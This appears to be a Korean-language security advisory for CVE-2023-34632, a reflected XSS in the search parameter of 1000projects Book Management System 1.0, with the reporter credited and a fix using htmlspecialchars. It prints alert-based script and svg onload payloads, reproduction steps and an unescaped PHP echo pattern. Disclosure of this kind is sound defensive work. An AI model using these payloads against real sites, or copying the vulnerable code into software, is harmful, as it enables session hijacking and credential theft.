CVE-2023-34632

1000projects 도서 관리 시스템 1.0의 반사형 XSS

CVE-2023-34632

1000projects 도서 관리 시스템 1.0의 반사형 크로스 사이트 스크립팅(XSS)

설명

1000projects 도서 관리 시스템 버전 1.0에서 반사형 크로스 사이트 스크립팅(XSS) 취약점이 발견되었습니다. 이 취약점은 검색 기능(index.php)에 존재하며, search 매개변수를 통해 사용자가 제공한 입력이 적절한 살균 처리나 출력 인코딩 없이 HTTP 응답에 반사됩니다.

공격자는 JavaScript 코드를 포함한 악성 URL을 제작할 수 있습니다. 피해자가 이 링크를 클릭하면 스크립트가 피해자의 브라우저 세션 컨텍스트에서 실행되어 세션 하이재킹, 자격 증명 탈취 또는 피싱 공격으로 이어질 수 있습니다.

영향을 받는 제품

취약점 세부 정보

개념 증명

Payload

http://localhost/book-management/index.php?search="><script>alert('CVE-2023-34632')</script>

재현 단계

1. XAMPP/WAMP를 설치하고 Book Management System 1.0을 웹 루트에 배포합니다.
2. 브라우저에서 애플리케이션에 접속합니다.
3. 검색창에 다음 페이로드를 입력합니다(또는 위에서 만든 URL에 접속합니다):
   root@kitploit:~

   "><script>alert('CVE-2023-34632')</script>
   

4. JavaScript 알림 팝업이 나타나는지 확인하여 XSS 취약점을 확인합니다.

스크린샷

대체 페이로드

">

"><svg/onload=alert('CVE-2023-34632')>

근본 원인

search 매개변수 값은 아무런 살균 처리 없이 HTML 응답에 직접 포함됩니다. PHP 코드는 사용자 입력을 렌더링하기 전에 htmlspecialchars() 또는 이에 상응하는 출력 인코딩을 적용하지 않습니다.

취약한 코드 패턴

// Vulnerable - user input directly rendered in HTML output
$search = $_GET['search'];
echo "Search results for: " . $search;

해결 방법

HTML 컨텍스트에서 렌더링하기 전에 모든 사용자 제공 입력에 적절한 출력 인코딩을 적용합니다:

// Fixed - proper output encoding
$search = htmlspecialchars($_GET['search'], ENT_QUOTES, 'UTF-8');
echo "Search results for: " . $search;

영향

• 세션 하이재킹 — 공격자가 document.cookie를 통해 세션 쿠키를 탈취할 수 있음
• 자격 증명 탈취 — 사용자 자격 증명을 피싱하기 위해 가짜 로그인 폼을 주입할 수 있음
• 악성코드 유포 — 피해자를 악성 웹사이트로 리디렉션할 수 있음
• 웹사이트 변조 — 피해자의 브라우저에서 페이지 콘텐츠를 조작할 수 있음

타임라인

크레딧

발견자: Wonkyeom Kim (@ssophiz)

참고 자료

• 1000projects Book Management System
• CWE-79: 웹 페이지 생성 중 입력의 부적절한 중화
• OWASP - 크로스 사이트 스크립팅(XSS)